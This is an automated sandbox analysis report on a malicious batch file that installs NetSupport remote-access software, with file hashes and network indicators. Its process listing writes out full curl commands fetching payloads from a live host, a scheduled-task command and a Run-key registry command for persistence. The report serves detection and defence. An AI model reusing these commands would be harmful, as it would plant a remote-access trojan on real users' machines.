Analysis Overview
SHA256
60dbaed2358a02ed2102cc2158c05fce9bba87674d68f1114198423bd8460a93
Threat Level: Known bad
The file 1.bat was found to be: Known bad.
Malicious Activity Summary
NetSupport
Downloads MZ/PE file
Executes dropped EXE
Loads dropped DLL
Adds Run key to start application
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
Uses Task Scheduler COM API
Suspicious use of WriteProcessMemory
Delays execution with timeout.exe
Creates scheduled task(s)
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2023-07-13 22:39
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2023-07-13 22:39
Reported
2023-07-13 22:42
Platform
win7-20230712-en
Max time kernel
121s
Max time network
123s
Command Line
Signatures
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\1.bat"
C:\Windows\system32\cmd.exe
cmd.exe /c C:\ProgramData\sett.bat"
C:\Windows\system32\cmd.exe
cmd.exe /c C:\ProgramData\7z.bat"
C:\Windows\system32\cmd.exe
cmd.exe /c C:\ProgramData\2.bat"
C:\Windows\system32\cmd.exe
cmd.exe /c C:\ProgramData\2.bat"
Network
Files
C:\ProgramData\sett.bat
| MD5 | 7d1c3743cb7af1f479ef8a94c1dc44da |
| SHA1 | 228abfe62f4f166bb0881e273c2bd6bffb3167d4 |
| SHA256 | 434d977609d8c580895a2b3b74f0948e2670bdeef5d06a1325c4940264b95f6c |
| SHA512 | e00f310e0c09b0e78ee98e8c1efdbb2caf6cac0e5fde51536123443f54f271c0232b4521c02de5083eb18cc03d350d37a0cb1ed2da58c6a0830b5462def34276 |
C:\ProgramData\7z.bat
| MD5 | 67404b0103100e3452532b69a46aa33f |
| SHA1 | 4bc62bfaecc1a4c5c95d906e2b64e161933f9965 |
| SHA256 | 6f1624a63e0713b8c0f86a461e9ce955f0d7eef8d4d3cdacf0b79e3ae843f19c |
| SHA512 | 4c7f3e63746179413915f308dea04cf668f909a4111caa479b633587137483ff7af548e2aab7180617cc5a6363884151f546a58b0b40a7bdb7edc3024bb26989 |
C:\ProgramData\2.bat
| MD5 | 6011bc3aa00cc9eefa63bd07c9676678 |
| SHA1 | 9c8fb9c006ab9787254bd6ade3194a90c24d66c9 |
| SHA256 | 5a8a48a2be136200954f5f81de68363d5dd8c82489dacae5d6b717b598634079 |
| SHA512 | 93869d542de437ce4514c745153284163305256f4673139a91ce9253ea329941b1fc273ccb3c0a2710e761ad41698a3f96ea0a5516ab3f436a5ead82572d36ba |
Analysis: behavioral2
Detonation Overview
Submitted
2023-07-13 22:39
Reported
2023-07-13 22:42
Platform
win10v2004-20230703-en
Max time kernel
142s
Max time network
147s
Command Line
Signatures
NetSupport
Downloads MZ/PE file
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\ProgramData\7zz.exe | N/A |
| N/A | N/A | C:\ProgramData\client32.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\ProgramData\client32.exe | N/A |
| N/A | N/A | C:\ProgramData\client32.exe | N/A |
| N/A | N/A | C:\ProgramData\client32.exe | N/A |
| N/A | N/A | C:\ProgramData\client32.exe | N/A |
| N/A | N/A | C:\ProgramData\client32.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-1420546310-613437930-2990200354-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run | C:\Windows\system32\reg.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1420546310-613437930-2990200354-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KAVYS = "C:\\ProgramData\\client32.exe" | C:\Windows\system32\reg.exe | N/A |
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\schtasks.exe | N/A |
Delays execution with timeout.exe
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\timeout.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeSecurityPrivilege | N/A | C:\ProgramData\client32.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\ProgramData\client32.exe | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1.bat"
C:\Windows\system32\cmd.exe
cmd.exe /c C:\ProgramData\sett.bat"
C:\Windows\system32\curl.exe
curl -k "https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/tempy.7z" -o "C:\ProgramData\tempy.7z"
C:\Windows\system32\cmd.exe
cmd.exe /c C:\ProgramData\7z.bat"
C:\Windows\system32\curl.exe
curl -k "https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe" -o "C:\ProgramData\7zz.exe"
C:\Windows\system32\cmd.exe
cmd.exe /c C:\ProgramData\2.bat"
C:\Windows\system32\curl.exe
curl -k "https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/2.bat" -o "C:\ProgramData\2.bat"
C:\Windows\system32\cmd.exe
cmd.exe /c C:\ProgramData\2.bat"
C:\Windows\system32\xcopy.exe
xcopy /h /y 7zz.exe C:\ProgramData\
C:\Windows\system32\xcopy.exe
xcopy /h /y tempy.7z C:\ProgramData\
C:\Windows\system32\cmd.exe
cmd /c C:\ProgramData\7zz.exe x -y C:\ProgramData\tempy.7z -oC:\ProgramData\
C:\Windows\system32\timeout.exe
TIMEOUT /T 3
C:\ProgramData\7zz.exe
C:\ProgramData\7zz.exe x -y C:\ProgramData\tempy.7z -oC:\ProgramData\
C:\Windows\system32\schtasks.exe
SCHTASKS /create /F /tn "KAVYS" /tr "cmd.exe /c C:\ProgramData\client32.exe" /sc minute /mo 8 /sd 01/01/2022 /st 00:00
C:\Windows\system32\cmd.exe
cmd /c C:\ProgramData\client32.exe
C:\Windows\system32\reg.exe
reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
C:\ProgramData\client32.exe
C:\ProgramData\client32.exe
C:\Windows\system32\reg.exe
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "KAVYS" /t REG_SZ /d "C:\ProgramData\client32.exe" /f
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | ponraj.com | udp |
| RU | 188.127.225.160:443 | ponraj.com | tcp |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 23.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 59.128.231.4.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.81.21.72.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 160.225.127.188.in-addr.arpa | udp |
| RU | 188.127.225.160:443 | ponraj.com | tcp |
| US | 8.8.8.8:53 | 9.228.82.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.58.199.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 69.121.18.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 54.120.234.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 158.240.127.40.in-addr.arpa | udp |
| RU | 188.127.225.160:443 | ponraj.com | tcp |
| US | 8.8.8.8:53 | 41.110.16.96.in-addr.arpa | udp |
| RO | 5.252.178.48:443 | tcp | |
| US | 8.8.8.8:53 | geo.netsupportsoftware.com | udp |
| GB | 62.172.138.8:80 | geo.netsupportsoftware.com | tcp |
| GB | 62.172.138.8:80 | geo.netsupportsoftware.com | tcp |
| GB | 62.172.138.8:80 | geo.netsupportsoftware.com | tcp |
| US | 8.8.8.8:53 | 48.178.252.5.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 8.138.172.62.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 103.169.127.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.31.95.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.229.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 66.112.168.52.in-addr.arpa | udp |
Files
C:\ProgramData\sett.bat
| MD5 | 7d1c3743cb7af1f479ef8a94c1dc44da |
| SHA1 | 228abfe62f4f166bb0881e273c2bd6bffb3167d4 |
| SHA256 | 434d977609d8c580895a2b3b74f0948e2670bdeef5d06a1325c4940264b95f6c |
| SHA512 | e00f310e0c09b0e78ee98e8c1efdbb2caf6cac0e5fde51536123443f54f271c0232b4521c02de5083eb18cc03d350d37a0cb1ed2da58c6a0830b5462def34276 |
C:\ProgramData\7z.bat
| MD5 | 67404b0103100e3452532b69a46aa33f |
| SHA1 | 4bc62bfaecc1a4c5c95d906e2b64e161933f9965 |
| SHA256 | 6f1624a63e0713b8c0f86a461e9ce955f0d7eef8d4d3cdacf0b79e3ae843f19c |
| SHA512 | 4c7f3e63746179413915f308dea04cf668f909a4111caa479b633587137483ff7af548e2aab7180617cc5a6363884151f546a58b0b40a7bdb7edc3024bb26989 |
C:\ProgramData\2.bat
| MD5 | 6011bc3aa00cc9eefa63bd07c9676678 |
| SHA1 | 9c8fb9c006ab9787254bd6ade3194a90c24d66c9 |
| SHA256 | 5a8a48a2be136200954f5f81de68363d5dd8c82489dacae5d6b717b598634079 |
| SHA512 | 93869d542de437ce4514c745153284163305256f4673139a91ce9253ea329941b1fc273ccb3c0a2710e761ad41698a3f96ea0a5516ab3f436a5ead82572d36ba |
C:\ProgramData\2.bat
| MD5 | 9c8e256f5fda613cd6ce0889ecf601ef |
| SHA1 | ccba6c491a278c82145fcac7426a9f5da5dc933f |
| SHA256 | ef55ff724e649918691224e7c6d1fc7ff5a9d73dc38b0ae70ce117f9c20009eb |
| SHA512 | d2f709c475f993e6c26c0444eb394ed1ee39fb261a0f77f5d5a8cb3ba36eb4a1f4fbfb45a6ce5bc0afaaae6dd0f16f02497a3c93f0f61267b9fc5d93e519f51e |
C:\ProgramData\7zz.exe
| MD5 | 42badc1d2f03a8b1e4875740d3d49336 |
| SHA1 | cee178da1fb05f99af7a3547093122893bd1eb46 |
| SHA256 | c136b1467d669a725478a6110ebaaab3cb88a3d389dfa688e06173c066b76fcf |
| SHA512 | 6bc519a7368ee6bd8c8f69f2d634dd18799b4ca31fbc284d2580ba625f3a88b6a52d2bc17bea0e75e63ca11c10356c47ee00c2c500294abcb5141424fc5dc71c |
C:\ProgramData\7zz.exe
| MD5 | 42badc1d2f03a8b1e4875740d3d49336 |
| SHA1 | cee178da1fb05f99af7a3547093122893bd1eb46 |
| SHA256 | c136b1467d669a725478a6110ebaaab3cb88a3d389dfa688e06173c066b76fcf |
| SHA512 | 6bc519a7368ee6bd8c8f69f2d634dd18799b4ca31fbc284d2580ba625f3a88b6a52d2bc17bea0e75e63ca11c10356c47ee00c2c500294abcb5141424fc5dc71c |
C:\ProgramData\tempy.7z
| MD5 | 7bfc5ad1796a0bbaefcad64239543506 |
| SHA1 | bb1f0b198d9011b00164fad88523c35369eb9e4a |
| SHA256 | 42679bd369a3b772c43b9ba20bf8a31a2593a360cfa2de77aa6d2023f9a0c109 |
| SHA512 | 90dfac808c2009439ebff3ef0fcfb95cb4fce1176b9c5d7587a6908e66687dc0f6592d29f71bf1c19a73f82522298625052791e9620beee285bebe613a00d091 |
C:\ProgramData\client32.exe
| MD5 | f70b67c2b3204b7ddd8b755799cccff0 |
| SHA1 | a42e55e328d62d11e687c167bb7049d46f0f9b26 |
| SHA256 | 213af995d4142854b81af3cf73dee7ffe9d8ad6e84fda6386029101dbf3df897 |
| SHA512 | 54fcba8a063bfbaae4c3a39624bf3407db6af5699ab8686f936ab03c5864df7a44d089066fa2d4aedf5ad50d6b04624966a5111bf57bec1dda74a571f1dd7c63 |
C:\ProgramData\PCICL32.dll
| MD5 | d3d39180e85700f72aaae25e40c125ff |
| SHA1 | f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15 |
| SHA256 | 38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5 |
| SHA512 | 471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f |
C:\ProgramData\client32.exe
| MD5 | f70b67c2b3204b7ddd8b755799cccff0 |
| SHA1 | a42e55e328d62d11e687c167bb7049d46f0f9b26 |
| SHA256 | 213af995d4142854b81af3cf73dee7ffe9d8ad6e84fda6386029101dbf3df897 |
| SHA512 | 54fcba8a063bfbaae4c3a39624bf3407db6af5699ab8686f936ab03c5864df7a44d089066fa2d4aedf5ad50d6b04624966a5111bf57bec1dda74a571f1dd7c63 |
C:\ProgramData\PCICL32.DLL
| MD5 | d3d39180e85700f72aaae25e40c125ff |
| SHA1 | f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15 |
| SHA256 | 38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5 |
| SHA512 | 471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f |
C:\ProgramData\pcicapi.dll
| MD5 | 34dfb87e4200d852d1fb45dc48f93cfc |
| SHA1 | 35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641 |
| SHA256 | 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703 |
| SHA512 | f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2 |
C:\ProgramData\pcichek.dll
| MD5 | 104b30fef04433a2d2fd1d5f99f179fe |
| SHA1 | ecb08e224a2f2772d1e53675bedc4b2c50485a41 |
| SHA256 | 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd |
| SHA512 | 5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f |
C:\ProgramData\pcicapi.dll
| MD5 | 34dfb87e4200d852d1fb45dc48f93cfc |
| SHA1 | 35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641 |
| SHA256 | 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703 |
| SHA512 | f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2 |
C:\ProgramData\PCICHEK.DLL
| MD5 | 104b30fef04433a2d2fd1d5f99f179fe |
| SHA1 | ecb08e224a2f2772d1e53675bedc4b2c50485a41 |
| SHA256 | 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd |
| SHA512 | 5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f |
C:\ProgramData\MSVCR100.dll
| MD5 | 0e37fbfa79d349d672456923ec5fbbe3 |
| SHA1 | 4e880fc7625ccf8d9ca799d5b94ce2b1e7597335 |
| SHA256 | 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18 |
| SHA512 | 2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630 |
C:\ProgramData\msvcr100.dll
| MD5 | 0e37fbfa79d349d672456923ec5fbbe3 |
| SHA1 | 4e880fc7625ccf8d9ca799d5b94ce2b1e7597335 |
| SHA256 | 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18 |
| SHA512 | 2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630 |
C:\ProgramData\NSM.LIC
| MD5 | 1b41e64c60ca9dfadeb063cd822ab089 |
| SHA1 | abfcd51bb120a7eae5bbd9a99624e4abe0c9139d |
| SHA256 | f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d |
| SHA512 | c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4 |
C:\ProgramData\client32.ini
| MD5 | 99c9a23ca6754f0cf146a095e9e666d3 |
| SHA1 | 817ebba693f606c1cb8c5524360961b13642e6b9 |
| SHA256 | ae1399c7b00710cdd7c119bee4b42c107bfee79c399b27a497a19094150f53ad |
| SHA512 | 68970cf9ec3065860ae60a225014a71a1aac1311102605b7fb85c58fc76537a44169fac1fa9368e1aa82f564147626f46b194b89300e171d6fa740e57a5b3402 |
C:\ProgramData\HTCTL32.DLL
| MD5 | c94005d2dcd2a54e40510344e0bb9435 |
| SHA1 | 55b4a1620c5d0113811242c20bd9870a1e31d542 |
| SHA256 | 3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899 |
| SHA512 | 2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a |
C:\ProgramData\HTCTL32.DLL
| MD5 | c94005d2dcd2a54e40510344e0bb9435 |
| SHA1 | 55b4a1620c5d0113811242c20bd9870a1e31d542 |
| SHA256 | 3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899 |
| SHA512 | 2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a |